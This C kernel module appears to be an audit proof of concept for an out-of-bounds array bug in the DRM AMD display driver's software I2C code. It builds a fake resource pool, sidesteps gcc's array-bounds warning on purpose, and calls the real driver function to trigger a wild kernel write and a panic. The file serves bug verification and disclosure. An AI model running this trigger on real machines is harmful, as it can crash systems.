/* * DF-4827 probe KLD - dce_i2c_sw.c sw_i2cs[line] array-domain mismatch. * * This module compiles the REAL, UNMODIFIED audited file * sys/dev/drm/amd/display/dc/dce/dce_i2c_sw.c * (from the guest's /usr/src/sys, sha256-verified identical to the audit * tree) and calls its real entry point dce_i2c_acquire_i2c_sw_engine() * against a faithfully-constructed fake resource_pool + ddc. * * Only the GPIO service layer (gpio_service.c / gpio_base.c, which would * talk to real hardware) is stubbed. The stubs emulate exactly what the * real gpio service does for a DDC handle on the VGA pad (en = 6): * - dal_gpio_service_open() succeeds: hw_factory_dce80 declares * number_of_pins[GPIO_ID_DDC_DATA] = 8 (gpio/dce80/hw_factory_dce80.c:163) * so the busyness bitmap covers en=6, and ddc_data_regs[] has a valid * entry for GPIO_DDC_LINE_DDC_VGA (hw_translate_dce80.c:190-192 maps * mmDC_GPIO_DDCVGA_A -> en=6). * * The defect under test (dce_i2c_sw.c:73-97 + 528-545): * get_hw_supported_ddc_line() validates the line against * GPIO_DDC_LINE_COUNT (== 8) but the array it feeds, * resource_pool.sw_i2cs[], is sized MAX_PIPES (== 6, * dc/inc/hw/hw_shared.h:37). A DDC handle with en = 6 (VGA pad) or 7 * (I2C pad) passes the guard and makes dce_i2c_acquire_i2c_sw_engine() * read pool->sw_i2cs[6] / [7] OUT OF BOUNDS - which alias the scalar * members {i2c_hw_buffer_in_use, pipe_count} / {underlay_pipe_index, * stream_enc_count} of struct resource_pool (dc/inc/core_types.h:151-157). * The resulting garbage non-NULL pointer is then treated as * struct dce_i2c_sw * and WRITTEN at engine->ddc = ddc * (dce_i2c_sw.c:392) -> wild kernel write -> page fault -> panic. */ #include #include /* real headers from the audited tree (same include set as dce_i2c_sw.c) */ #include "dce_i2c.h" #include "dce_i2c_sw.h" #include "include/gpio_service_interface.h" #include "inc/hw/hw_shared.h" /* MAX_PIPES */ /* ------------------------------------------------------------------ */ /* GPIO-service stubs (the only fabricated layer) */ /* ------------------------------------------------------------------ */ enum gpio_result dal_gpio_get_value(const struct gpio *gpio, uint32_t *value) { printk(KERN_INFO "swi2cs: [stub] dal_gpio_get_value() - NOT REACHED\n"); *value = 0; return GPIO_RESULT_OK; } enum gpio_result dal_gpio_set_value(const struct gpio *gpio, uint32_t value) { printk(KERN_INFO "swi2cs: [stub] dal_gpio_set_value(%u) - NOT REACHED\n", value); return GPIO_RESULT_OK; } void dal_ddc_close(struct ddc *ddc) { printk(KERN_INFO "swi2cs: [stub] dal_ddc_close() - NOT REACHED\n"); } /* * Emulates gpio_service.c:dal_ddc_open() for en=6 on DCE8x: the pin-busy * bitmap is sized for 8 DDC pins (hw_factory_dce80.c:163-164), the ddc * register tables have valid entries for GPIO_DDC_LINE_DDC_VGA, so both * dal_gpio_open_ex(pin_data) and dal_gpio_open_ex(pin_clock) succeed and * dal_gpio_set_config() programs the pad -> GPIO_RESULT_OK. */ enum gpio_result dal_ddc_open( struct ddc *ddc, enum gpio_mode mode, enum gpio_ddc_config_type config_type) { printk(KERN_INFO "swi2cs: [stub] dal_ddc_open(en=%u) -> GPIO_RESULT_OK " "(real gpio_service succeeds: busyness bitmap has 8 DDC pins, " "ddc_data_regs[GPIO_DDC_LINE_DDC_VGA] is valid)\n", ddc->pin_data->en); return GPIO_RESULT_OK; } enum gpio_ddc_line dal_ddc_get_line(const struct ddc *ddc) { /* gpio_service.c:566-570: dal_gpio_get_enum(ddc->pin_data) */ return (enum gpio_ddc_line)ddc->pin_data->en; } /* ------------------------------------------------------------------ */ static struct resource_pool pool; /* BSS: all-zero, like construct */ static struct ddc ddc; static struct gpio gpin; static int __init swi2cs_init(void) { unsigned long oob6, oob7; /* * Realistic pool state as left by the resource constructors: * dce80 allocates sw_i2cs[0..5]; DCE100/110/120/DCN10 leave all * six entries NULL. The OOB read at [6]/[7] aliases the scalars * below in EVERY case - that is what makes this bug * chip-independent. */ pool.pipe_count = 6; /* dce80: 6 pipes */ pool.i2c_hw_buffer_in_use = 0; pool.underlay_pipe_index = NO_UNDERLAY_PIPE; /* -1 */ pool.stream_enc_count = 3; /* fake DDC handle: VBIOS DDCVGA pad, HW-capable */ gpin.en = GPIO_DDC_LINE_DDC_VGA; /* == 6 */ ddc.pin_data = &gpin; ddc.hw_info.hw_supported = true; /* I2C_HW_CAP from VBIOS */ /* * NOTE: we deliberately address sw_i2cs[6]/[7] via char* arithmetic * below because gcc -Warray-bounds rejects the direct subscript * ("array subscript 7 is above array bounds of 'struct dce_i2c_sw * *[6]'") - the compiler itself confirms the OOB. The real audited * code escapes the warning only because its index is a runtime value. */ printk(KERN_INFO "swi2cs: layout proof (real struct resource_pool," " real headers):\n"); printk(KERN_INFO "swi2cs: MAX_PIPES = %d\n", MAX_PIPES); printk(KERN_INFO "swi2cs: GPIO_DDC_LINE_COUNT = %d\n", GPIO_DDC_LINE_COUNT); printk(KERN_INFO "swi2cs: &pool.sw_i2cs[5] (last legal) = %p (+%zu)\n", &pool.sw_i2cs[5], (size_t)((char *)&pool.sw_i2cs[5] - (char *)&pool)); printk(KERN_INFO "swi2cs: &pool.sw_i2cs[6] (OOB) = %p (+%zu)\n", (char *)&pool.sw_i2cs[5] + sizeof(void *), (size_t)((char *)&pool.sw_i2cs[5] + sizeof(void *) - (char *)&pool)); printk(KERN_INFO "swi2cs: &pool.i2c_hw_buffer_in_use = %p\n", &pool.i2c_hw_buffer_in_use); printk(KERN_INFO "swi2cs: &pool.pipe_count = %p\n", &pool.pipe_count); printk(KERN_INFO "swi2cs: &pool.sw_i2cs[7] (OOB) = %p\n", (char *)&pool.sw_i2cs[5] + 2 * sizeof(void *)); printk(KERN_INFO "swi2cs: &pool.underlay_pipe_index = %p\n", &pool.underlay_pipe_index); printk(KERN_INFO "swi2cs: &pool.stream_enc_count = %p\n", &pool.stream_enc_count); /* perform the OOB read the way the driver does (no fault) */ oob6 = *(volatile unsigned long *)((char *)&pool.sw_i2cs[5] + sizeof(void *)); oob7 = *(volatile unsigned long *)((char *)&pool.sw_i2cs[5] + 2 * sizeof(void *)); printk(KERN_INFO "swi2cs: OOB READ pool.sw_i2cs[6] == 0x%016lx " "(pipe_count=%u << 32 | hw_buf_in_use=%u)\n", oob6, pool.pipe_count, pool.i2c_hw_buffer_in_use); printk(KERN_INFO "swi2cs: OOB READ pool.sw_i2cs[7] == 0x%016lx " "(stream_enc_count=%u << 32 | underlay=%d)\n", oob7, pool.stream_enc_count, pool.underlay_pipe_index); printk(KERN_INFO "swi2cs: both garbage values are NON-NULL -> the real" " code's 'if (!engine) return NULL' at dce_i2c_sw.c:538" " does NOT save us\n"); printk(KERN_INFO "swi2cs: FIRING - calling the REAL " "dce_i2c_acquire_i2c_sw_engine(&pool, &ddc)...\n"); /* * Real audited code path, dce_i2c_sw.c: * get_hw_supported_ddc_line: 6 < GPIO_DDC_LINE_COUNT(8) -> PASS * engine = pool->sw_i2cs[6] <- OUT OF BOUNDS READ (:536) * dce_i2c_engine_acquire_sw() -> dal_ddc_open() OK * engine->ddc = ddc <- WILD WRITE (:392) */ { struct dce_i2c_sw *e = dce_i2c_acquire_i2c_sw_engine(&pool, &ddc); printk(KERN_INFO "swi2cs: acquire returned %p " "(NULL = correctly rejected)\n", e); } return 0; } static void __exit swi2cs_exit(void) { printk(KERN_INFO "swi2cs: unloaded\n"); } module_init(swi2cs_init); module_exit(swi2cs_exit); MODULE_DESCRIPTION("DF-4827: sw_i2cs[line] OOB - guard uses GPIO_DDC_LINE_COUNT(8), array sized MAX_PIPES(6)");